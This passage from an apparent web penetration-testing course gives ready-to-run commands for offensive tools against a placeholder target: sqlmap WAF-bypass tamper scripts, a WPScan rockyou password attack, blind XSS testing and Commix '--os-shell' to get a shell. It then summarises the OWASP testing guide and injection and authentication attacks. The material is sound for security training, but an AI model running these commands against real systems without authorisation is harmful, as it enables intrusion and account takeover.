&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ffuf -u &amp;lt;a href="https://target.com/FUZZ"&amp;gt;https://target.com/FUZZ&amp;lt;/a&amp;gt; -w wordlist.txt -fs 4242 -fc 404,403&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Arjun — HTTP Parameter Discovery&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Discovers hidden parameters in web applications:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;br&amp;gt;
pip3 install arjun&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="discover-get-parameters" href="#discover-get-parameters" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Discover GET parameters:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;arjun -u &amp;lt;a href="https://target.com/page"&amp;gt;https://target.com/page&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="discover-post-parameters" href="#discover-post-parameters" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Discover POST parameters:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;arjun -u &amp;lt;a href="https://target.com/api"&amp;gt;https://target.com/api&amp;lt;/a&amp;gt; -m POST -H "Content-Type: application/json"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="against-all-pages-in-a-site" href="#against-all-pages-in-a-site" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Against all pages in a site:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;arjun -u &amp;lt;a href="https://target.com/page1"&amp;gt;https://target.com/page1&amp;lt;/a&amp;gt; &amp;lt;a href="https://target.com/page2"&amp;gt;https://target.com/page2&amp;lt;/a&amp;gt; &amp;lt;a href="https://target.com/api"&amp;gt;https://target.com/api&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Dalfox — XSS Scanner&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;A modern, fast XSS discovery and verification tool:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="install" href="#install" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Install:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;go install github.com/hahwul/dalfox/v2@latest&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="basic-scan" href="#basic-scan" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Basic scan:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;dalfox url &amp;lt;a href="https://target.com/search?q=test"&amp;gt;https://target.com/search?q=test&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="with-cookie-for-authenticated-testing" href="#with-cookie-for-authenticated-testing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  With cookie for authenticated testing:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;dalfox url "&amp;lt;a href="https://target.com/search?q=test"&amp;gt;https://target.com/search?q=test&amp;lt;/a&amp;gt;" --cookie "session=abc123"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="from-burps-saved-request" href="#from-burps-saved-request" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  From Burp's saved request:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;dalfox file burp_request.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="pipe-urls" href="#pipe-urls" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Pipe URLs:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;cat urls.txt | dalfox pipe&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Kiterunner — API Endpoint Discovery&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Specifically designed for API route discovery using OpenAPI specifications:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="install" href="#install" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Install:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;go install github.com/assetnote/kiterunner@latest&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="brute-force-api-routes" href="#brute-force-api-routes" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Brute force API routes:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;kr scan &amp;lt;a href="https://target.com/api"&amp;gt;https://target.com/api&amp;lt;/a&amp;gt; -w routes-small.kite&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-assetnotes-prebuilt-wordlists" href="#using-assetnotes-prebuilt-wordlists" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using Assetnote's pre-built wordlists:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;kr scan &amp;lt;a href="https://target.com/api"&amp;gt;https://target.com/api&amp;lt;/a&amp;gt; -w apis.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="against-a-list-of-targets" href="#against-a-list-of-targets" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Against a list of targets:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;kr scan -w wordlist.txt -i targets.txt&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;SQLmap — Advanced Usage for Professional Assessments:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="beyond-basic-usage-for-complex-scenarios" href="#beyond-basic-usage-for-complex-scenarios" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Beyond basic usage — for complex scenarios:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-with-custom-headers-api-key-authentication" href="#test-with-custom-headers-api-key-authentication" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test with custom headers (API key authentication):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;sqlmap -u "&amp;lt;a href="https://target.com/api/users?id=1"&amp;gt;https://target.com/api/users?id=1&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  --headers="X-API-Key: your-api-key\nX-User-Id: 1042"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="json-parameter-testing" href="#json-parameter-testing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  JSON parameter testing:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;sqlmap -u "&amp;lt;a href="https://target.com/api/search"&amp;gt;https://target.com/api/search&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  --data='{"query":"test","limit":10}' \&amp;lt;br&amp;gt;
  --content-type="application/json"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="secondorder-injection-data-stored-then-used-elsewhere" href="#secondorder-injection-data-stored-then-used-elsewhere" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Second-order injection (data stored then used elsewhere):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;sqlmap -u "&amp;lt;a href="https://target.com/profile"&amp;gt;https://target.com/profile&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  --data="bio=test" \&amp;lt;br&amp;gt;
  --second-url="&amp;lt;a href="https://target.com/admin/users"&amp;gt;https://target.com/admin/users&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-tamper-scripts-for-waf-bypass" href="#using-tamper-scripts-for-waf-bypass" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using tamper scripts for WAF bypass:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;sqlmap -u "&amp;lt;a href="https://target.com/?id=1"&amp;gt;https://target.com/?id=1&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  --tamper=space2comment,between,randomcase \&amp;lt;br&amp;gt;
  --dbs&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="all-tamper-scripts" href="#all-tamper-scripts" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  All tamper scripts:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;ls /usr/share/sqlmap/tamper/&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;WPScan — WordPress Security Scanner:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="wordpress-vulnerability-scanning" href="#wordpress-vulnerability-scanning" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  WordPress vulnerability scanning:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;wpscan --url &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="with-api-token-for-vulnerability-database" href="#with-api-token-for-vulnerability-database" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  With API token for vulnerability database:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;wpscan --url &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; --api-token YOUR_TOKEN&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="enumerate-users" href="#enumerate-users" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Enumerate users:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;wpscan --url &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -e u&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="enumerate-plugins" href="#enumerate-plugins" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Enumerate plugins:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;wpscan --url &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -e p --plugins-detection aggressive&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="password-attack-on-discovered-users" href="#password-attack-on-discovered-users" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Password attack on discovered users:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;wpscan --url &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -U admin -P /usr/share/wordlists/rockyou.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="full-enumeration" href="#full-enumeration" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Full enumeration:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;wpscan --url &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -e ap,at,cb,dbe,u --api-token TOKEN&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;XSStrike — Intelligent XSS Testing:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;br&amp;gt;
git clone &amp;lt;a href="https://github.com/s0md3v/XSStrike"&amp;gt;https://github.com/s0md3v/XSStrike&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
cd XSStrike &amp;amp;&amp;amp; pip3 install -r requirements.txt&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="crawl-and-test-entire-site" href="#crawl-and-test-entire-site" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Crawl and test entire site:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 xsstrike.py -u &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; --crawl&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-specific-parameter" href="#test-specific-parameter" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test specific parameter:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 xsstrike.py -u "&amp;lt;a href="https://target.com/search?q=test"&amp;gt;https://target.com/search?q=test&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="post-request-testing" href="#post-request-testing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  POST request testing:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 xsstrike.py -u &amp;lt;a href="https://target.com/login"&amp;gt;https://target.com/login&amp;lt;/a&amp;gt; \&amp;lt;br&amp;gt;
  --data "username=test&amp;amp;password=test"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="blind-xss-mode" href="#blind-xss-mode" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Blind XSS mode:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 xsstrike.py -u "&amp;lt;a href="https://target.com/feedback"&amp;gt;https://target.com/feedback&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  --data "message=test" --blind&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Commix — Command Injection Testing:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;br&amp;gt;
git clone &amp;lt;a href="https://github.com/commixproject/commix"&amp;gt;https://github.com/commixproject/commix&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
cd commix &amp;amp;&amp;amp; python3 commix.py&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-url-parameter" href="#test-url-parameter" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test URL parameter:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 commix.py --url="&amp;lt;a href="https://target.com/ping?host=127.0.0.1"&amp;gt;https://target.com/ping?host=127.0.0.1&amp;lt;/a&amp;gt;"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-post-parameter" href="#test-post-parameter" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test POST parameter:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 commix.py --url="&amp;lt;a href="https://target.com/ping"&amp;gt;https://target.com/ping&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  --data="host=127.0.0.1"&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="get-reverse-shell" href="#get-reverse-shell" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Get reverse shell:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 commix.py --url="&amp;lt;a href="https://target.com/ping?host=127.0.0.1"&amp;gt;https://target.com/ping?host=127.0.0.1&amp;lt;/a&amp;gt;" \&amp;lt;br&amp;gt;
  --os-shell&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="61210-the-owasp-web-security-testing-guide" href="#61210-the-owasp-web-security-testing-guide" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.10 The OWASP Web Security Testing Guide
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="what-the-wstg-is-and-why-it-is-the-professional-standard" href="#what-the-wstg-is-and-why-it-is-the-professional-standard" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  What the WSTG Is and Why It Is the Professional Standard
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;The OWASP Web Security Testing Guide (WSTG) is the most comprehensive, peer-reviewed, and widely referenced standard methodology for web application security testing. It provides detailed testing procedures for every category of web vulnerability, organized into a structured framework that ensures comprehensive coverage of the attack surface.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Available at: &amp;lt;a href="https://owasp.org/www-project-web-security-testing-guide/"&amp;gt;https://owasp.org/www-project-web-security-testing-guide/&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
Latest version: WSTG v4.2 (as of 2026)&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The WSTG organizes testing into twelve categories:&amp;lt;/p&amp;gt;

&amp;lt;table&amp;gt;&amp;lt;thead&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th&amp;gt;Category Code&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;Category Name&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;Coverage&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-INFO&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Information Gathering&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Recon, fingerprinting, application mapping&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-CONF&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Configuration Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Server config, network/infrastructure, HTTP methods&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-IDNT&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Identity Management&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Account enumeration, account policies&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-ATHN&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Authentication Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Password policies, default credentials, lockout&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-AUTHZ&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Authorization Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Path traversal, privilege escalation, IDOR&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-SESS&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Session Management Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Cookie attributes, session fixation, CSRF&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-INPV&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Input Validation Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;SQL injection, XSS, command injection, LFI/RFI&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-ERRH&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Error Handling&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Error codes, stack traces&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-CRYP&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Cryptography Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;TLS, algorithm strength, key management&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-BUSL&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Business Logic Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Workflow bypass, race conditions&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-CLNT&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Client-Side Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;DOM XSS, clickjacking, CORS&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;WSTG-APIT&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;API Testing&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;REST, GraphQL, SOAP&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Using the WSTG in practice:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;For each test case, the WSTG provides:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Objective: what the test aims to detect&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;How to test: step-by-step methodology&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Tools: specific tools and commands&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;References: relevant CWEs, CVEs, and academic sources&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Remediation: how to fix the vulnerability&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;Professional penetration testers use the WSTG as a checklist to ensure no coverage area is missed. At the start of a web application engagement, work through each WSTG category systematically. The WSTG test IDs (e.g., WSTG-INPV-01 for SQL Injection) provide a standard reference that can be cited in reports.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;The OWASP Testing Framework:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The WSTG includes a full engagement framework for web application testing:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Phase 1: Passive reconnaissance (before any interaction with the target)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Phase 2: Active reconnaissance (spidering, scanning, active fingerprinting)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Phase 3: Vulnerability testing (systematic testing through all WSTG categories)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Phase 4: Exploitation (confirming and demonstrating findings)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Phase 5: Post-exploitation (understanding impact)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Phase 6: Reporting&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="613-module-6-summary-the-complete-web-application-security-picture" href="#613-module-6-summary-the-complete-web-application-security-picture" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.13 Module 6 Summary — The Complete Web Application Security Picture
&amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="what-module-6-built" href="#what-module-6-built" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  What Module 6 Built
&amp;lt;/h3&amp;gt;

&amp;lt;p&amp;gt;Module 6 has constructed a comprehensive, professional understanding of web application security — from the foundational HTTP protocol through the most sophisticated attack chains. This summary consolidates the key insight from each section and shows how they connect into a unified security picture.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-foundation-protocol-understanding-section-61" href="#the-foundation-protocol-understanding-section-61" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Foundation — Protocol Understanding (Section 6.1)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;You cannot attack what you do not understand. Section 6.1 established that HTTP is the universal substrate of web attacks — every web vulnerability is ultimately an HTTP vulnerability. Understanding the request-response cycle at the byte level, knowing what every header reveals and conceals, understanding how the browser's handling of cookies creates both functionality and vulnerability, and knowing the precise boundary of what HTTPS protects (the channel) versus what it does not protect (the application) — these form the intellectual foundation upon which every subsequent attack rests.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The OWASP Top 10:2021 provided the attack taxonomy: Broken Access Control (A01), Cryptographic Failures (A02), Injection (A03), Insecure Design (A04), Security Misconfiguration (A05), Vulnerable and Outdated Components (A06), Authentication Failures (A07), Software and Data Integrity Failures (A08), Logging and Monitoring Failures (A09), and SSRF (A10).&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-lab-environment-section-62" href="#the-lab-environment-section-62" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Lab Environment (Section 6.2)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Professional penetration testing skills are built through practice, not reading alone. A local lab — Kali Linux with DVWA, Metasploitable, and Docker-based vulnerable applications — provides the safe, legal environment where every technique in this module can be practiced repeatedly until it becomes instinct rather than procedure.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="business-logic-the-category-automation-cannot-find-section-63" href="#business-logic-the-category-automation-cannot-find-section-63" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Business Logic — The Category Automation Cannot Find (Section 6.3)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Business logic flaws revealed the most fundamental principle in web application security: &amp;lt;strong&amp;gt;automated tools cannot replace human understanding&amp;lt;/strong&amp;gt;. A scanner sees requests and responses. Only a human who understands what the application is supposed to do can recognize when it is doing something it should not — when a discount persists after a cart is modified, when a workflow step can be skipped, when simultaneous requests exploit a race condition, when a quantity of -1 makes logical nonsense that the application processes anyway.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The professional approach is the adversarial user perspective: how can legitimate features be used in illegitimate ways?&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="injection-the-root-cause-section-64" href="#injection-the-root-cause-section-64" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Injection — The Root Cause (Section 6.4)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Injection vulnerabilities — SQL injection, command injection, LDAP injection — share one root cause: failure to separate code from data. Every injection attack is the same conceptual breach: user data enters a context where it is interpreted as executable code. The fix is always the same: parameterized queries and prepared statements for SQL; subprocess lists (not shell=True) for OS commands; proper LDAP escaping for directory queries.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;SQL injection's impact scales from data exposure through privilege escalation through file system access through full OS compromise. The attack types — error-based, UNION-based, boolean blind, time-based blind, out-of-band — represent a spectrum from most visible to least visible, matched by escalating detection difficulty.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="authentication-the-identity-layer-section-65" href="#authentication-the-identity-layer-section-65" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Authentication — The Identity Layer (Section 6.5)
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Authentication attacks revealed that the session token is the identity. Stealing a session token steals the authenticated identity — bypassing every authentication control that was used to create it. In 2024, the dominant attack pattern is AitM (Adversary-in-the-Middle) phishing that captures session tokens after MFA completion, because the session proves authentication more persistently than any credential.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Kerberos vulnerabilities in Active Directory environments expose the fundamental architecture of Windows domain authentication to exploitation: AS-REP Roasting requires only usernames; Kerberoasting requires only domain user credentials; Golden Tickets require only the krbtgt hash — and each represents a different depth of compromise.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
